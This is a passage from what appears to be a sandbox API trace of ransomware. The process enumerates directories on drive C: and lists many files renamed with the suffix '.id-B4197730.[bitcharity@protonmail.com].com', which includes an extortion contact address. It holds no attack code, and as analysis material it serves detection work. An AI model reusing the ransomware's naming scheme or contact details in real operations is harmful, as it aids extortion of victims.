nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SafeOS", cAlternateFileName="")) returned 1 [0241.686] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\SafeOS\\*", lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x64a3d8 [0241.689] FindNextFileW (in: hFindFile=0x64a3d8, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0241.689] FindNextFileW (in: hFindFile=0x64a3d8, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x303b37e0, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x303b37e0, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x307b3c55, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x233c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="GetCurrentOOBE.dll.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="GETCUR~1.COM")) returned 1 [0241.689] FindNextFileW (in: hFindFile=0x64a3d8, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3071b160, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x3071b160, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x307414b7, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GetCurrentRollback.ini.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="GETCUR~2.COM")) returned 1 [0241.689] FindNextFileW (in: hFindFile=0x64a3d8, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x303b37e0, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x303b37e0, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x31306eb6, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x354, dwReserved0=0x0, dwReserved1=0x0, cFileName="PartnerSetupComplete.cmd.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="PARTNE~1.COM")) returned 1 [0241.689] FindNextFileW (in: hFindFile=0x64a3d8, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30340f2e, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x30340f2e, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x3036706f, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x13a, dwReserved0=0x0, dwReserved1=0x0, cFileName="preoobe.cmd.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="PREOOB~1.COM")) returned 1 [0241.689] FindNextFileW (in: hFindFile=0x64a3d8, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30767761, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x30767761, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x3078da14, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x236, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupComplete.cmd.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="SETUPC~1.COM")) returned 1 [0241.690] FindNextFileW (in: hFindFile=0x64a3d8, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30767761, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x30767761, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x3078da14, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x236, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupComplete.cmd.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="SETUPC~1.COM")) returned 0 [0241.690] FindClose (in: hFindFile=0x64a3d8 | out: hFindFile=0x64a3d8) returned 1 [0241.691] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ee0070 | out: hHeap=0x630000) returned 1 [0241.691] FindNextFileW (in: hFindFile=0x64a398, lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SafeOS", cAlternateFileName="")) returned 0 [0241.691] FindClose (in: hFindFile=0x64a398 | out: hFindFile=0x64a398) returned 1 [0241.691] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ed0068 | out: hHeap=0x630000) returned 1 [0241.691] FindNextFileW (in: hFindFile=0x64a258, lpFindFileData=0x3b2fcf8 | out: lpFindFileData=0x3b2fcf8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77da0000, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 1 [0241.691] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*", lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x64a398 [0241.692] FindNextFileW (in: hFindFile=0x64a398, lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1 [0241.692] FindNextFileW (in: hFindFile=0x64a398, lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="S-1-5-18", cAlternateFileName="")) returned 1 [0241.692] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\*", lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x16, ftLastAccessTime.dwLowDateTime=0x2, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="\xe418\x6c\x08")) returned 0xffffffff [0241.693] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ee0070 | out: hHeap=0x630000) returned 1 [0241.693] FindNextFileW (in: hFindFile=0x64a398, lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc0600132, ftLastAccessTime.dwHighDateTime=0x1d501b3, ftLastWriteTime.dwLowDateTime=0xc0600132, ftLastWriteTime.dwHighDateTime=0x1d501b3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="S-1-5-21-1051304884-625712362-2192934891-1000", cAlternateFileName="S-1-5-~1")) returned 1 [0241.693] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\*", lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc0600132, ftLastAccessTime.dwHighDateTime=0x1d501b3, ftLastWriteTime.dwLowDateTime=0xc0600132, ftLastWriteTime.dwHighDateTime=0x1d501b3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x64a3d8 [0241.693] FindNextFileW (in: hFindFile=0x64a3d8, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc0600132, ftLastAccessTime.dwHighDateTime=0x1d501b3, ftLastWriteTime.dwLowDateTime=0xc0600132, ftLastWriteTime.dwHighDateTime=0x1d501b3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0241.693] FindNextFileW (in: hFindFile=0x64a3d8, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc0600132, ftCreationTime.dwHighDateTime=0x1d501b3, ftLastAccessTime.dwLowDateTime=0xc0600132, ftLastAccessTime.dwHighDateTime=0x1d501b3, ftLastWriteTime.dwLowDateTime=0xc0600132, ftLastWriteTime.dwHighDateTime=0x1d501b3, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0241.693] FindNextFileW (in: hFindFile=0x64a3d8, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x3065c648, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x3065c648, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x308bec81, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="DESKTO~1.COM")) returned 1 [0241.693] FindNextFileW (in: hFindFile=0x64a3d8, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x3065c648, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x3065c648, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x308bec81, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="DESKTO~1.COM")) returned 0 [0241.693] FindClose (in: hFindFile=0x64a3d8 | out: hFindFile=0x64a3d8) returned 1 [0241.694] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ee0070 | out: hHeap=0x630000) returned 1 [0241.694] FindNextFileW (in: hFindFile=0x64a398, lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc0600132, ftLastAccessTime.dwHighDateTime=0x1d501b3, ftLastWriteTime.dwLowDateTime=0xc0600132, ftLastWriteTime.dwHighDateTime=0x1d501b3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="S-1-5-21-1051304884-625712362-2192934891-1000", cAlternateFileName="S-1-5-~1")) returned 0 [0241.694] FindClose (in: hFindFile=0x64a398 | out: hFindFile=0x64a398) returned 1 [0241.694] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ed0068 | out: hHeap=0x630000) returned 1 [0241.694] FindNextFileW (in: hFindFile=0x64a258, lpFindFileData=0x3b2fcf8 | out: lpFindFileData=0x3b2fcf8*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x85776261, ftCreationTime.dwHighDateTime=0x1d3276f, ftLastAccessTime.dwLowDateTime=0x85776261, ftLastAccessTime.dwHighDateTime=0x1d3276f, ftLastWriteTime.dwLowDateTime=0x85776261, ftLastWriteTime.dwHighDateTime=0x1d3276f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77da0000, dwReserved1=0x0, cFileName="$WINRE_BACKUP_PARTITION.MARKER", cAlternateFileName="$WINRE~1.MAR")) returned 1 [0241.694] FindNextFileW (in: hFindFile=0x64a258, lpFindFileData=0x3b2fcf8 | out: lpFindFileData=0x3b2fcf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x370c4303, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x370c4303, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77da0000, dwReserved1=0x0, cFileName="588bce7c90097ed212", cAlternateFileName="588BCE~1")) returned 1 [0241.694] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\*", lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x370c4303, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x370c4303, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x64a398 [0241.698] FindNextFileW (in: hFindFile=0x64a398, lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x370c4303, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x370c4303, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1 [0241.699] FindNextFileW (in: hFindFile=0x64a398, lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1025", cAlternateFileName="")) returned 1 [0241.699] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1025\\*", lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6ebbb0 [0241.863] FindNextFileW (in: hFindFile=0x6ebbb0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0241.863] FindNextFileW (in: hFindFile=0x6ebbb0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x31411f34, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x31411f34, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x3155deb2, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x1e74, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="EULART~1.COM")) returned 1 [0241.866] FindNextFileW (in: hFindFile=0x6ebbb0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x31439ace, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x31439ace, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x3158df3a, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x122e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="LOCALI~1.COM")) returned 1 [0241.867] FindNextFileW (in: hFindFile=0x6ebbb0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x31306eb6, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x31306eb6, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x31f0810b, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x4458, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="SETUPR~1.COM")) returned 1 [0241.867] FindNextFileW (in: hFindFile=0x6ebbb0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x31306eb6, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x31306eb6, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x31f0810b, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x4458, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="SETUPR~1.COM")) returned 0 [0241.867] FindClose (in: hFindFile=0x6ebbb0 | out: hFindFile=0x6ebbb0) returned 1 [0241.868] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ee0070 | out: hHeap=0x630000) returned 1 [0241.868] FindNextFileW (in: hFindFile=0x64a398, lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1028", cAlternateFileName="")) returned 1 [0241.868] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1028\\*", lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6ec330 [0241.870] FindNextFileW (in: hFindFile=0x6ec330, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0241.870] FindNextFileW (in: hFindFile=0x6ec330, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x31411f34, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x31411f34, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x31a69852, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x1994, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="EULART~1.COM")) returned 1 [0241.870] FindNextFileW (in: hFindFile=0x6ec330, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x31439ace, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x31439ace, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x31b74861, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0xee96, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="LOCALI~1.COM")) returned 1 [0241.870] FindNextFileW (in: hFindFile=0x6ec330, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x31439ace, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x31439ace, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x31567b4e, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x3858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="SETUPR~1.COM")) returned 1 [0241.870] FindNextFileW (in: hFindFile=0x6ec330, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x31439ace, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x31439ace, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x31567b4e, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x3858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="SETUPR~1.COM")) returned 0 [0241.870] FindClose (in: hFindFile=0x6ec330 | out: hFindFile=0x6ec330) returned 1 [0241.872] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ee0070 | out: hHeap=0x630000) returned 1 [0241.872] FindNextFileW (in: hFindFile=0x64a398, lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1029", cAlternateFileName="")) returned 1 [0241.872] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1029\\*", lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6eb7f0 [0241.873] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0241.873] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x315da52f, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x315da52f, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x31ab5c12, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, 